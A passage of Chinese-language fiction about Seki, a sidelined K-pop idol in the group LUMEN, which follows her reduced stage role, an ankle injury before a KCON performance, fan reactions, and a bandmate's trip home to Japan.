“公司认为,团队应该以团队的形式被记住。”金敏珠说。
夏瑜坐在角落里,没说话。
她懂了。她太红了。直拍破千万,武术花絮在TikTok上两千万播放,个人直拍比团体舞台还火。公司害怕了。害怕她一个人盖过整个团队,害怕粉丝只认Seki不认LUMEN,害怕她变成一颗“不好控制”的棋子。
所以要把她压下来。删solo,删武术,删C位。把她从中间移到边上,把聚光灯从她身上移开。
“这不公平!”李恩彩站起来,“solo是Seki自己跳出来的,武术也是她练了十年的,凭什么说删就删?”
“恩彩。”金敏珠的声音沉下来。
“她红是她自己挣来的,不是公司给的!”李恩彩的眼眶红了,“为了那个solo她每天加练到凌晨,膝盖摔成那样——现在说删就删?那她受的那些伤算什么?”
“恩彩欧尼。”夏瑜开口了。
李恩彩看向她。
“没关系。”夏瑜说,语气很平静,“删了就删了吧。”
“你怎么能说没关系?”
“因为——”夏瑜想了想,“就算删了solo,我还是会跳舞。就算没有武术展示,我还是会翻跟头。这些东西在我身上,删不掉的。”
金素妍在旁边看了她一眼,嘴角动了一下——那是她认可的表情。
那天晚上,夏瑜一个人留在练习室里。新走位图贴在镜子上。她站在最边上。不是C位,不是副C,是最边上。她的part从原来的四句变成了一句。solo dance的部分被拆成团体舞。
她站在镜子前,试着跳了一遍新编舞。从开场到结尾,全程一分半钟。她只有一句歌词,大部分时间站在最边上。但她跳得很认真,每一个动作都做到位。
跳完之后,她对着镜子里的自己说:“还行。”
然后她笑了笑,收拾东西回宿舍。
走廊里很暗。她一个人走着,脚步声在空荡荡的楼道里回响。手机亮了。是KakaoTalk群聊。
李恩彩:“Seki,你在哪?”
夏瑜:“在回去的路上。”
姜多惠:“要不要吃拉面?我煮。”
夏瑜看着消息,嘴角弯了一下。
夏瑜:“好。”
她加快脚步,走出大楼。首尔的冬夜很冷,呼出的气变成白雾。但想到宿舍里有热拉面在等她,好像也没那么冷了。
第二天排练,编舞老师拿来了新的走位图。
夏瑜站在最边上。她看着镜子里的自己,深吸一口气。
“Seki,你的新位置在这里。”编舞老师指了指角落。
“好。”她走过去,站好。
李恩彩在旁边看着她,嘴唇抿得很紧。
排练开始了。夏瑜跳着自己的新part——一句歌词,然后就是背景里的群舞。她跳得很认真,每一个动作都到位。但那种感觉很奇怪。像是站在舞台中央的人,突然被推到了幕布后面。你能看见观众,但观众不一定能看见你。
休息的时候,绘里香走过来。
“欧尼。”她站在夏瑜面前,手里拿着一杯热水,“给你的。”
夏瑜接过来:“谢谢。”
“欧尼……”绘里香犹豫了一下,“你难过吗?”
夏瑜想了想。
“有一点。”她说,“但没关系。”
“为什么没关系?”
“因为——”夏瑜拧开瓶盖,喝了一口,“就算站在最边上,舞台还是舞台。我还是在跳舞。”
绘里香看着她,忽然笑了。
“欧尼好酷。”
“我不酷。”夏瑜笑了,“我只是——没别的地方可去了。”
MAMA颁奖典礼那天,LUMEN坐在新人奖候补席上。
场馆很大,坐满了人。台上是前辈团体的表演,台下是各团的爱豆。夏瑜坐在第二排最边上,旁边是绘里香。
“紧张吗?”绘里香小声问。
“还好。”夏瑜说,“反正新人奖大概率不是我们的。”
绘里香瞪大眼睛:“你怎么知道?”
“看了提名名单就知道了。”夏瑜笑了笑,“不过没关系,以后还有很多奖的,总会有我们的。”
绘里香看着她,点了点头。
新人奖果然不是LUMEN的。是另一个女团。掌声响起来。夏瑜跟着鼓掌,嘴角带着笑。她看见李恩彩的笑容僵了一下,然后迅速恢复。看见金敏珠微微点头,像在说“没关系”。
MMA颁奖典礼,LUMEN拿下了新人奖。
七个人站在台上,奖杯在金敏珠手里。她说了感言,然后是姜多惠,然后是李恩彩,然后是金素妍,然后是韩智媛,然后是绘里香。
最后轮到夏瑜。
她走到麦克风前,台下安静下来。
“谢谢你们。”她说,“谢谢我的成员,谢谢公司,谢谢所有喜欢我们的人。”
她顿了顿。
“今年是很特别的一年。我们经历了很多。有好的,也有不好的。”
她看了一眼台下的粉丝席。那里有她的名字。不多,但有几块。
“不管在哪个位置,我都会继续努力的。谢谢大家。”
她鞠了一躬,回到队伍里,站在最边上。
下台之后,在后台走廊里,李恩彩拉着她的手。
“你刚才说得好好。”李恩彩说。
“哪句?”
“‘不管在哪个位置,我都会继续努力的’。”李恩彩学着她的语气,“好酷。”
夏瑜笑了:“我是说真的。”
“我知道。”李恩彩说,“所以才酷。”
年末舞台的排练继续。
夏瑜站在最边上,跳着被删减过的编舞。她的part只有一句,在bridge部分。她唱那一句的时候,声音从胸腔里飘出来,干净、透亮,像山泉水。
唱完之后,她退回背景里,变成模糊的影子。
但她跳得很认真。每一个动作都做到位,每一个表情都管理好。
有一天排练结束后,金敏珠叫住了她。
“Seki。”
夏瑜回头。
金敏珠站在她面前,沉默了很久。
“对不起。”金敏珠说。
夏瑜愣了一下:“欧尼为什么道歉?”
“因为——”金敏珠的声音很低,“我是队长。但我什么都做不了。”
夏瑜看着她。金敏珠的眼睛里有一种很累的东西。不是身体的累,是另一种。是努力了很久、做了很多、但还是保护不了队员的那种累。
“欧尼已经做得很好了。”夏瑜说。
“没有。”金敏珠摇头,“你应该站在中间。你的part不应该被删。你的武术应该被所有人看到。”
夏瑜沉默了一会儿。
“欧尼。”她说,“你知道我为什么从来不抱怨吗?”
金敏珠看着她。
“因为抱怨没有用。”夏瑜说,“改变一切的,是我自己。公司可以删我的part,可以把我移到边上。但只要我还在跳舞,只要我还在舞台上——光就会从缝隙里透出来。”
夏瑜顿了顿,继续说道,“而且我知道,你已经很努力了,谢谢你为了我努力。”
金敏珠看着她,眼眶红了。
“你真的不生气吗?”
夏瑜想了想。
“生气。”她说,“但生气没有用。所以我把它变成别的东西了。”
“变成什么?”
“变成跳舞的力气。”夏瑜笑了笑,“变成唱歌的气息。变成——让我站在舞台上的东西。”
金敏珠看着她,沉默了很久。然后她伸手,拍了拍夏瑜的肩膀。
“谢谢你没有放弃。”
夏瑜笑了。
“不会放弃的。好不容易走到这里,怎么可能放弃。”
歌谣大战直播那天,LUMEN排在倒数第五个。
七个人穿着白色的舞台服装,站在后台等待。
夏瑜站在最边上。她的衣服是米白色的——和其他人一样的款式,但颜色更素一点,在灯光下不那么显眼。
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化妆师给她化的妆也很淡,嘴唇只是薄薄一层粉色。站在六个成员中间,她看起来像一道被调低了亮度的光。
但她不在意了。因为她知道,就算被调暗了,她还是亮的。
“接下来是LUMEN,《Beacon》!”
七个人跑上舞台。
音乐响起来。
夏瑜站在最边上的位置。她的part只有一句,在bridge部分。
她等着。等到了。
她唱了那一句。声音从胸腔里飘出来,干净、透亮,像山泉水。
台下有人尖叫。
然后她退回背景里,开始跳群舞。没有solo,没有C位,没有武术。只有整齐划一的团体动作,和其他六个人一模一样。
但她依旧跳得很认真。每一个动作都做到位,每一个表情都管理好。不是因为在被看见,而是因为——这是她的舞台。不管她在哪个位置,这都是她的舞台。
副歌部分,金敏珠站在C位。夏瑜在最边上做背景动作。她的手抬起来,身体旋转,目光跟着镜头走。
镜头扫过她。一秒。也许两秒。
但她对着那两秒笑了。不是那种管理好的、训练出来的笑。是真的笑。杏眼弯成两道月牙,自来卷随着动作飘起来。
她知道,有人会看见的。
舞台结束后,七个人回到待机室。
李恩彩一进门就抱住了夏瑜。
“你刚才在台上笑了。”
夏瑜愣了一下:“你还能看到我?你站在我前面三排。”
“我回头看了一眼。”李恩彩说,“你笑得好好看。”
夏瑜看着她,忽然笑了。
“你回头不怕跳错?”
“怕啊。”李恩彩说,“但我就是想看看你。”
金素妍在旁边递过来一瓶水。
“你今天的直拍应该会火。”
夏瑜接过水:“为什么?”
“因为你笑得很好看。而且你只有一句part,粉丝会更心疼你。”
夏瑜愣了一下。
金素妍看了她一眼,嘴角弯了一下。
“这叫‘反效果’。”她说,“公司越想藏你,粉丝越想找你。”
夏瑜看着金素妍,忍不住笑了。
“欧尼你好聪明。”
“我知道。”金素妍面无表情地说。
所有人都笑了。
那天晚上,夏瑜回到宿舍,躺在床上看手机。
直拍出来了。她的。标题是:《Beacon》舞台Seki focus——只有一句part,但她依旧笑了。
播放量在飞速上涨。评论区里:
“公司为什么要删她的part?只有一句歌词?”
“她站在最边上,但跳得还是那么好”
“那个笑——她明明知道镜头只有两秒,但还是笑了”
“Seki不哭,我们看见你了”
“不管站在哪里,你都是最亮的”
“这不是防爆是什么?公司能不能正常一点”
“Seki的直拍比团体舞台还火,公司慌了吧”
“只有一句part也好意思叫focus?全程都是背景——但Seki还是把背景跳成了主角”
夏瑜看着那些评论,嘴角弯了一下。
她把手按在胸口。心跳很稳,一下一下的。那里有很多东西。是六个人给的,是粉丝给的,也是她自己挣来的。
她想起一年前的自己。那个站在练习室镜子前、被老师说“这里没有”的女孩。现在,这里有了。很多很多。不是公司给的,不是站位给的,不是part给的。是她自己长出来的。
手机亮了。KakaoTalk群里,李恩彩发了一条消息。
李恩彩:“Seki!!!你的直拍破三百万了!!!”
金素妍:“我说过了。”
姜多惠:“Seki辛苦了”
韩智媛:“seki xi好厉害!”
Eri:“欧尼最棒”
金敏珠:“早点休息,明天还有排练”
夏瑜看着屏幕,笑了。
夏瑜:“谢谢亲爱的欧尼们。还有可爱的Eri,晚安。”
她把手机放在枕边,闭上眼睛。
窗外有风,吹得窗帘轻轻晃动。首尔的冬夜很冷,但她的心里很暖。
明年还有新的舞台。不管站在哪里,她都会发光。
因为她是LUMEN的夏瑜。
5. 好多鱼
歌谣大战那个舞台之后,夏瑜的直拍又火了一波。
标题是“只有一句part,但她笑了”,播放量比团体舞台还高。
评论区里全是心疼她的粉丝——“公司为什么要删她的part”“她站在最边上但跳得还是那么好”“不管站在哪里你都是最亮的”。
但热度带来的不全是好事。
“Seki的直拍播放量比团体舞台还高,这不是第一次了。”
“公司是不是该管管了?个人人气太高对团队没好处。”
“她本来part就比别人多,现在还上综艺出风头。”
“哪里多了?年末舞台她的part才一句。”
“一句也能火,这不是更说明问题吗?”
评论区里,支持的和反对的吵成一团。有人替夏瑜说话,有人觉得她太出风头,有人开始分析LUMEN的人气分布,有人搬出“皇族”的旧账。
夏瑜看到这些的时候,正坐在练习室的地板上。手机屏幕亮着,评论区里的字一行一行地往上翻。她看了一会儿,把手机翻了过去。
“Seki。”姜多惠走过来,在她旁边坐下,手里拿着保温杯。她倒了一杯热水,放在夏瑜手边。
“别看那些了。”姜多惠说。
“没看。”夏瑜说,“就是……知道它们在。”
姜多惠点了点头,没再说什么。她拧开自己的柚子茶,喝了一口,安静地坐在旁边。她是那种天生就知道怎么跟人相处的人——不追问,不逼你说话,但会在你旁边坐着,让你知道你不是一个人。
两个人坐了一会儿,夏瑜站起来,走到镜子前。
“再来一遍吧。”她说,“副歌部分还不够好。”
姜多惠也跟着站起来,把保温杯放在一边,调到音乐。
“你膝盖没事吧?”姜多惠问。
“没事。”夏瑜说,“热身过了。”
“那开始吧。”
两个人站在镜子前,音乐响起来,开始练习。夏瑜跳得很认真,姜多惠在旁边跟着,偶尔停下来帮夏瑜看动作的角度。
“第三拍的时候,你的手可以再高一点。”姜多惠说。
夏瑜试了一遍,看了看镜子里的自己:“这样?”
“嗯,好看。”
夏瑜点了点头,继续练。姜多惠不是舞担,但她的观察力很好,总能注意到一些夏瑜自己没发现的小细节。这也是夏瑜愿意跟她一起练的原因——姜多惠的反馈总是很准,而且她不会用那种“我是为你好”的语气说教,只是很平静地告诉你哪里可以更好。
一周后,公司通知了一个新的安排。
“日本的KCON?”李恩彩从沙发上弹起来,“真的吗?”
经纪人点头:“对。下个月。LUMEN、ECLIPSE、NEXUS都会参加。”
“哇!!!”李恩彩开始在练习室里转圈,“我第一次出国!”
“你不是去过日本旅游吗?”金素妍说。
“那是旅游!这是工作!不一样!”李恩彩继续转,“而且日本!寿司!拉面!章鱼烧!”
“你是去工作的还是去吃的?”金素妍面无表情。
“工作的时候也可以吃嘛!”
韩智媛在旁边小声说:“我也想去日本……听说那边的迪士尼很好玩……”
“智媛你清醒一点,”李恩彩拍她的肩膀,“我们是去工作,不是去玩的!”
“可是你刚才明明在说寿司和拉面……”
在场的都在笑。
夏瑜坐在旁边,看了一眼绘里香。绘里香低着头,手指攥着衣角,但嘴角是翘着的。
“Eri,可以回家了。”夏瑜说。
绘里香抬起头,眼睛亮亮的:“嗯。”
“Eri要请客!”李恩彩喊,“带我们去吃正宗的日本料理!”
绘里香脸红了:“好……”
金素妍:“你别把人家吃穷了。”
“我吃的不多!”
“你上次一个人吃了三人份的炸鸡。”
“那是因为我饿!而且炸鸡不是日本料理!”
夏瑜看着她们闹,忍不住笑了。这群人在一起的时候,总是很吵,但也很热闹。她喜欢这种热闹——虽然她不会主动加入,但听着也觉得很放松。
KCON的排练安排得很紧。每天从早到晚,跳舞、唱歌、彩排、调整,循环往复。
LUMEN的舞台排在第三天,和ECLIPSE、NEXUS一起。公司给她们安排了一个特别舞台——三个团的部分成员合作表演一个特别编舞。
夏瑜被选进了特别舞台。一起的还有ECLIPSE和NEXUS的两位成员,以及同团的姜多惠。
“多惠欧尼也去?”夏瑜看到名单的时候,有点意外。
“嗯。”姜多惠说,“公司说我的音色适合这首歌。”
“那太好了。”李恩彩在旁边说,“我们LUMEN出了两个人!”
“你兴奋什么,”金素妍说,“又不是你被选上了。”
“我替她们兴奋不行吗!”
“你替你自己兴奋吧,你就不用加练了。”
“金素妍你今天是不是针对我!”
“每天都是。”
两个人又开始了。夏瑜和姜多惠对视一眼,摇头笑了笑。
特别舞台的编舞很难,融合了现代舞和街舞的元素。有一段双人舞,是夏瑜和姜多惠一起跳的。编舞老师让她们面对面站着,手搭在对方肩上,然后一起旋转、下腰、起身。
“你们俩身高差不多,配合起来应该很好看。”老师说。
第一次练习的时候,夏瑜和姜多惠面对面站着,距离很近。两个人都很认真,按照老师的指令完成动作。旋转的时候,夏瑜能感觉到姜多惠手掌的力度——刚好,不会太轻也不会太重,是一个专业舞者该有的配合。
“不错。”老师说,“再来一遍。”
休息的时候,姜多惠递给她水,又从包里拿出纸巾。“你出汗了。”
“谢谢。”夏瑜接过来。
“晚上回去记得冰敷膝盖。”姜多惠说,“你今天落地的时候膝盖受力有点大。”
夏瑜愣了一下。她没注意到这个,但姜多惠注意到了。
“好。”她说。
排练结束后,两个人一起走回练习室。走廊里很安静,只有脚步声。
“双人舞的部分,你感觉怎么样?”姜多惠问。
“还行。”夏瑜说,“你的节奏感很好,配合起来很顺。”
“你也是。”姜多惠说,“跟你搭档比跟别人轻松。”
“为什么?”
“因为你的动作很准,我不会被带偏。”姜多惠顿了顿,“而且你很认真。跟你搭档的时候,我也会更认真。”
夏瑜看了她一眼。这是姜多惠表达认可的方式——虽然她很温柔也经常夸人,但她说“跟你搭档我会更认真”,她知道,这是很高的评价。
“我也是。”夏瑜说,“跟你搭档比较安心。”
姜多惠笑了:“那就好。”
KCON的排练进入最后一周,问题出现了。
夏瑜跳一个落地动作的时候没站稳,右脚脚踝扭了一下。她当时没太在意,继续跳完了整段。但回到练习室之后,脚踝开始肿了。
“Seki,你的脚……”姜多惠走过来,低头看着她的脚踝,皱起了眉。
夏瑜低头看了看。右脚脚踝肿了一圈,青紫色的。
“没事,冰敷一下就好了。”夏瑜说。
“你等着。”姜多惠转身出去了,过了一会儿拿着冰袋回来,蹲下来帮她把冰袋敷在脚踝上。
“我自己来——”夏瑜想接过去。
“别动。”姜多惠说,“你之前伤过这里吗?”
夏瑜犹豫了一下。“有一点旧伤。练习生时候的。”
“就知道。”姜多惠叹了口气,语气里带着点心疼,但没再说什么,只是把冰袋按紧了一点。
李恩彩凑过来:“怎么了怎么了?Seki受伤了?”
“脚踝扭了。”金素妍也走过来看了一眼,“肿成这样还叫没事?”
“我看看!”韩智媛从后面探出头,看到夏瑜的脚踝,脸都白了,“seki xi!要去医院!”
“不用——”
“要去。”金敏珠走过来,看了一眼,直接拍板,“明天去医院。我帮你跟公司说。”
夏瑜张了张嘴,看着围过来的五个人,忽然觉得有点好笑。她只是扭了一下脚,搞得像出了什么大事一样。
“你们不用这样……”她说。
“你是主舞,”金敏珠说,“主舞的脚踝是财产。”
“财产?”夏瑜愣了一下。
“对,财产。”金敏珠纠正自己的发音。
“队长你韩语退步了。”李恩彩说。
“闭嘴。”
第二天,姜多惠陪她去了医院。夏瑜说不用,姜多惠说“反正我也没事”。但到了医院之后,姜多惠全程帮她挂号、拿号、问医生,夏瑜只需要坐着等。
“你不用这样……”夏瑜说。
“你是外国人,韩语有时候说不清楚。”姜多惠说。
“我来韩国四年了。”
“那你上次把‘韧带’说成‘人带’的是谁?”
“……那是口误。”
“口误也是误。”
夏瑜没话说了。姜多惠大多时候很温柔,但该坚持的时候一点都不让步。
医院的结果出来了——韧带拉伤,需要休息两周。
“两周?”夏瑜看着医生,“两周后KCON都结束了。”
医生点头:“所以你不能参加。”
“不行。”夏瑜说,“我必须参加。”
“你参加了,脚踝的伤会更严重。以后可能影响跳舞。”
夏瑜沉默了。影响跳舞。这四个字像一根针,扎在她最怕的地方。
“医生。”她抬起头,“打封闭针呢?”
医生看了她一眼:“可以。打完针能上台,但只能缓解疼痛,不能治本。舞台结束后必须休息,至少一个月不能高强度训练。”
“那就打封闭。”夏瑜说。
“Seki——”姜多惠在旁边开口,声音有点急。
“欧尼。”夏瑜打断她,“特别舞台的双人舞是我们一起练的。我不想换人。”
姜多惠看着她,沉默了一会儿。她的表情很复杂——有担心,有心疼,还有一点无奈。
“打完针之后呢?”姜多惠问。
“休息。一个月。”夏瑜说,“但KCON我要上。”
姜多惠没再劝。她点了点头,然后转头问医生:“封闭针什么时候打?有什么注意事项?打完多久可以运动?需要复查吗?”
夏瑜坐在旁边,看着姜多惠认真地记下医生的每一条叮嘱。她忽然觉得,姜多惠好像真的是妈妈担当——不是那种嘴上说说的,是真的会帮你做这些事的人。
回公司的路上,姜多惠走在她旁边,时不时低头看她的脚。
“欧尼。”夏瑜说。
“嗯?”
“谢谢你。”
“谢什么?”
“谢谢你陪我来医院。”
姜多惠笑了笑:“你是我的搭档。你不跳了,我的双人舞也要重新练。我是为了自己。”
夏瑜知道姜多惠是在找借口,但她没戳破。
“那也谢谢。”她说。
姜多惠看了她一眼,伸手拍了拍她的肩膀。“回去好好休息。别偷偷跑去练习室。”
“不会的。”
“你上次也这么说。”
“……这次真的不会。”
“信你一次。”
KCON那天,夏瑜的右脚脚踝打了封闭针。
上台前,她在后台做了最后一遍热身。脚踝不疼了——封闭针的效果。但她知道这只是暂时的,等药效过了,该疼的还是会疼。
“Seki!”李恩彩从待机室跑出来,“你脚怎么样了?”
“没事,打了针了。”
“真的不疼?”韩智媛也跑过来,一脸担心。
“真的不疼。”
“那就好……”韩智媛松了一口气。
金素妍靠在墙边,双手抱胸:“跳完之后别逞强,该休息就休息。”
“知道了,欧尼。”
金敏珠走过来,拍了拍她的肩膀:“好好跳。跳完回来吃好吃的。”
“什么好吃的?”李恩彩耳朵竖起来。
“又来了。”
姜多惠走过来,手里拿着保温杯。“喝点热水。”她倒了一杯递给夏瑜,“暖一下身子。”
夏瑜接过来喝了一口。温的,刚好。
“鞋带系紧一点,脚踝固定好。”姜多惠蹲下来,帮她重新系了一遍鞋带。
“欧尼,我自己来——”
“别动。你脚踝有伤,鞋带要系得比平时紧一点,但又不能太紧影响血液循环。这个力度你把握不好。”
夏瑜低头看着她,没再说话。姜多惠系鞋带的时候很认真,手指很稳,动作很慢。李恩彩在旁边看着,小声对韩智媛说:“多惠欧尼好像妈妈。”
韩智媛点头:“真的像。”
金素妍冷冷地说:“你们俩能不能别在旁边站着?去检查一下自己的鞋带。”
“我的鞋带好好的!”
“我看看。”金素妍走过去,“你这个系法不对,松开我帮你重新系。”
“不用——”
“别动。”
韩智媛在旁边看着金素妍帮李恩彩系鞋带,和李恩彩对视了一眼。
“素妍欧尼也好像妈妈。”韩智媛小声说。
“那多惠欧尼是什么?”李恩彩问。
“多惠欧尼是温柔的妈妈,素妍欧尼是严格的妈妈。”
“那敏珠欧尼呢?”
“敏珠欧尼
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是……不管事的爸爸。”
金敏珠在旁边听到了,面无表情地说:“韩智媛,你过来。”
韩智媛缩了缩脖子:“我什么都没说……”
“你说了。过来。”
“欧尼我错了……”
夏瑜看着她们闹,忍不住笑了。脚踝的事好像也没那么可怕了。
“走吧。”姜多惠站起来,“该上台了。”
特别舞台的音乐响起来。夏瑜站在舞台上,聚光灯打在她身上。台下是几千个观众,应援棒汇成一片海。
她深吸一口气,开始跳。
双人舞的部分,她和姜多惠面对面站着。旋转、下腰、起身——每一个动作都和排练时一样流畅。姜多惠的手搭在她腰上,力度刚好。她的脚踝不疼,动作干净利落。
最后一个动作定格的时候,台下爆发出巨大的尖叫声。
夏瑜站在那里,喘着气,笑了。
下台之后,姜多惠第一时间走过来。“脚怎么样?”
“不疼。”
“骗人。封闭针只是让你感觉不到疼,不是真的不疼。”她从包里拿出冰袋,蹲下来帮夏瑜敷在脚踝上。
李恩彩也跑过来:“Seki你跳得太好了!双人舞那段我看了,超默契!”
“你不是在候场吗?怎么看到的?”金素妍问。
“我从幕布缝隙里偷看的!”
“不专心候场,扣分。”
“你又不是老师!”
韩智媛递过来两瓶水:“seki xi,多惠欧尼辛苦了。”
绘里香也跑过来,手里拿着一个小袋子:“欧尼,这个是给你们的……日本买的护腕,可以保护脚踝的……”
“谢谢Eri。”夏瑜接过来。
“Eri你有我的份吗?”李恩彩凑过来。
“有……每个人都有……”
“Eri最好了!”
金素妍在旁边说:“你就知道要东西。”
“我这不是要!是关心!”
“你刚才说的是‘有我的份吗’,这叫关心?”
“这叫……变相的关心!”
KCON之后,网上出现了很多关于特别舞台的讨论。
“Seki和多惠欧尼的双人舞好好看!那个旋转太默契了!”
“多惠欧尼在后台帮Seki系鞋带的花絮看了吗?太暖了”
“Seki受伤了还坚持上台,太敬业了”
“LUMEN的团魂好棒啊,所有人都在关心Seki”
“她们团的互动好有趣,李恩彩从幕布缝里偷看舞台哈哈哈”
“金素妍帮李恩彩系鞋带那段也好好笑,‘你这个系法不对’”
“韩智媛说敏珠欧尼是‘不管事的爸爸’,然后被叫过去训话,笑死我了”
“她们团真的好像一家人”
“Seki和多惠的CP叫什么?我觉得可以叫‘好多鱼’!多惠的‘多’和Seki的‘瑜’——多和瑜,谐音好多鱼!”
“好多鱼哈哈哈哈这个好!又可爱又好记!”
“好多鱼CP我嗑了!”
夏瑜看到这些评论的时候,正躺在宿舍床上,右脚脚踝敷着冰袋。封闭针的药效已经过了,脚踝开始隐隐作痛。
她翻到“好多鱼”那个评论,嘴角动了一下。姜多惠的“多”和夏瑜的“瑜”——多和瑜,谐音好多鱼。粉丝的脑洞真的很大。
还有人在讨论她们团的互动,说“好像一家人”。夏瑜想了想,好像确实有点像——金敏珠是不太管事的爸爸,姜多惠是温柔的妈妈,金素妍是严格的二妈,李恩彩是吵吵闹闹的大姐,韩智媛是胆小但贴心的二姐,绘里香是安静乖巧的小妹。那她是什么?可能是那个不太合群、总是一个人待着的远房亲戚。
她打开微信,找到穆双妤的对话框。
夏瑜:“看到网上的评论了吗?我们团被说像一家人。”
穆双妤秒回:“哈哈哈哈哈哈那你是什么?离家出走的那个?”
夏瑜笑了:“差不多。”
穆双妤:“你什么时候回来?好久没吃火锅了。”
夏瑜:“等脚好了吧。最近在休息。”
穆双妤:“行,等你。好好养伤。池且说他都想你了。”
夏瑜:“他想我什么?想我怼他吧。”
穆双妤:“哈哈哈哈哈哈你怎么知道!他说没有你怼他他吃火锅都不香了。”
夏瑜看着屏幕,笑了。跟穆双妤聊天就是这样,不用想太多,想说什么说什么。在团队里她总是那个“有点距离感”的人,不是故意的,就是不知道怎么跟韩国队友像朋友一样相处。工作上配合没问题,但私下里,她更喜欢跟穆双妤她们待在一起——有共同语言,不用解释太多。
手机又亮了。是KakaoTalk的消息——不是群聊,是姜多惠私聊。
姜多惠:“脚踝好点了吗?”
夏瑜:“好多了。在冰敷。”
姜多惠:“今天练习的时候,编舞老师还问你能不能参加下周的排练。我说了你至少要休息一个月。”
夏瑜:“谢谢欧尼帮我挡着。”
姜多惠:“不客气。你好好养伤,别偷偷跑去练习室。”
夏瑜:“不会的。”
姜多惠:“你上次也这么说。”
夏瑜看着屏幕,忍不住笑了。
夏瑜:“这次真的不会。”
姜多惠:“信你一次。对了,恩彩说等你好了要一起去吃火锅。”
夏瑜愣了一下。吃火锅?她平时都是跟穆双妤她们一起吃的。
夏瑜:“她怎么突然想吃火锅?”
姜多惠:“她说看你之前直播说喜欢吃火锅,想试试。还说要你教她涮毛肚。”
夏瑜看着屏幕,心里动了一下。李恩彩记得她直播说的话,记得她喜欢吃火锅,记得她涮毛肚的“七上八下”理论。
夏瑜:“好啊。等脚好了,一起去。”
姜多惠:“好。早点休息。”
夏瑜:“嗯,欧尼也早点休息。”
首尔的冬夜很冷,但她盖着毯子,不觉得冷。脚踝还在疼,但比前几天好多了。再休息几周,应该就能恢复练习了。
她想起穆双妤说“池且说没有你怼他他吃火锅都不香了”,想起李恩彩说要学涮毛肚,想起金素妍帮李恩彩系鞋带的样子,想起韩智媛被金敏珠叫过去训话的怂样,想起绘里香给每个人都买了护腕,想起姜多惠在后台蹲下来帮她系鞋带的样子。
一群很吵的人。还有一群很远但一直在的人。好像也没那么烦。
她翻了个身,把毯子裹紧了一点。
一个月。
一个月不能跳舞。她以前觉得这是天大的事,但现在想想,好像也没那么可怕。因为她知道,等脚踝好了,她还是会回到练习室,站在镜子前,跳她最喜欢的舞。而那群很吵的人,大概会在旁边叽叽喳喳地说个不停。
那就够了。
6. 番外:绘里香的夏天
KCON结束的第二天,绘里香没有跟LUMEN一起回首尔。
“公司批了三天假。”经纪人把机票递给她,“周一回来,别迟到。”
绘里香接过机票,手指有点抖。她来韩国两年了,一次都没回去过。不是不想回,是——不敢回。太远了,机票太贵了,练习太忙了。她给自己找了无数个理由,但真正的原因只有一个:她怕回去之后就不想再来了。
“Eri。”夏瑜走过来,手里拎着一个袋子,“给你。”
绘里香打开一看,是一盒韩国的零食和几包泡面。
“欧尼?”
“带回去给你家人尝尝。”夏瑜说,“虽然不是什么贵重的东西。”
绘里香看着那袋零食,忽然不知道该说什么。
“谢谢欧尼。”她的声音有点哑。
“别哭啊。”夏瑜笑了,“我们还没上飞机呢。”
“没哭。”绘里香吸了吸鼻子。
李恩彩从后面冲过来,一把抱住绘里香:“Eri!你要想我们!三天后必须回来!不许逃回日本不回来!”
“我又不是逃犯……”绘里香被她勒得喘不过气。
“恩彩,你要把她勒死了。”金素妍在旁边冷冷地说。
“我是抱!不是勒!”
“那你松一点。”
李恩彩松开手,绘里香深吸了一口气。
“Eri,”姜多惠走过来,手里拿着一个保温杯,“这个给你。在路上喝,暖一下身子。”
绘里香接过来,杯子上贴着一张便条,写着“一路顺风”和一个笑脸。
“谢谢多惠欧尼。”
韩智媛从包里掏出一个东西,塞到绘里香手里。是一个小小的玩偶钥匙扣,上面挂着一只小猫咪。
“这个……给你。”韩智媛小声说,“是我的护身符。带着它就不会怕了。”
绘里香看着她,眼眶热了。韩智媛自己就是最胆小的那个,却把护身符给了她。
“智媛欧尼……”
“别哭别哭!”韩智媛慌了,“你一哭我也要哭了……”
金敏珠站在旁边,面无表情地递过来一张纸条。绘里香打开一看,上面写着:“周一准时回来,迟到扣工资。”
“敏珠欧尼……”绘里香哭笑不得。
“开玩笑的。”金敏珠说,嘴角动了一下,“路上小心。”
绘里香点了点头,拎着行李,转身往安检口走。走了几步,她回头看了一眼。五个人还站在那里,冲她挥手。
她挥了挥手,然后转过身,走进安检口。
不要哭。她在心里对自己说。你是大人了。
飞机降落在大阪关西机场的时候,绘里香的心跳开始加速。
两年了。两年的时间,说长不长,说短不短。她从一个连韩语都不会说的练习生,变成了LUMEN的主舞。从那个躲在宿舍里偷偷哭的日本女孩,变成了能在几千人甚至几万人面前跳舞的爱豆。
但回到家门口的时候,她还是那个不敢按门铃的小孩。
她站在门口,手指悬在门铃上,迟迟按不下去。
门忽然开了。
“我听到脚步声了。”妈妈站在门口,围着围裙,手里拿着锅铲,“你怎么不按门铃?”
绘里香看着妈妈,忽然发现她老了一点。头发里多了几根白丝,眼角多了几条细纹。
“妈。”她说,声音在抖。
“进来吧。”妈妈笑了笑,“你爸去接你妹妹了,马上回来。”
绘里香换了鞋,走进客厅。一切都没变——沙发还是那个沙发,电视还是那个电视,茶几上还摆着她小时候的照片。但一切又都变了——她的房间被改成了妹妹的书房,她的东西被收进了箱子里。
她站在客厅里,忽然觉得自己像一个客人。
“饿了吧?”妈妈在厨房里喊,“做了你爱吃的味增汤。”
“嗯。”绘里香走进厨房,站在妈妈旁边。
妈妈看了她一眼:“瘦了。韩国的饭不好吃吗?”
“好吃的。”绘里香说,“就是练习太累了,有时候吃不下。”
“吃不下也要吃。”妈妈把味增汤端到她面前,“你是跳舞的,不吃东西哪有力气。”
绘里香端起碗,喝了一口。味增汤的味道涌进嘴里,咸咸的,热热的,带着一种很熟悉的感觉。那是家的味道。
她低着头,眼泪掉进碗里。
“怎么了?”妈妈慌了,“不好喝吗?”
“好喝的。”绘里香擦了擦眼睛,“就是……好久没喝到了。”
妈妈看着她,沉默了一会儿,然后伸手摸了摸她的头。
“傻孩子。”妈妈说,“想喝随时回来。又不是回不来。”
绘里香点了点头,继续喝汤。咸的,热的,眼泪的味道。
门铃响了。爸爸和妹妹回来了。
妹妹比两年前高了一大截,已经快跟绘里香一样高了。
“姐姐!”妹妹冲过来抱住她,“你终于回来了!”
绘里香被撞得往后退了一步,差点摔倒。
“你长高了好多。”绘里香说。
“那当然!我又不是小孩子了!”妹妹仰着头,“姐姐你在电视上跳舞好帅!我同学都问我,那个是不是你姐姐!”
“你怎么说的?”
“我说是的!我姐姐是LUMEN的主舞!”妹妹的声音很大,“然后她们都说好羡慕我!”
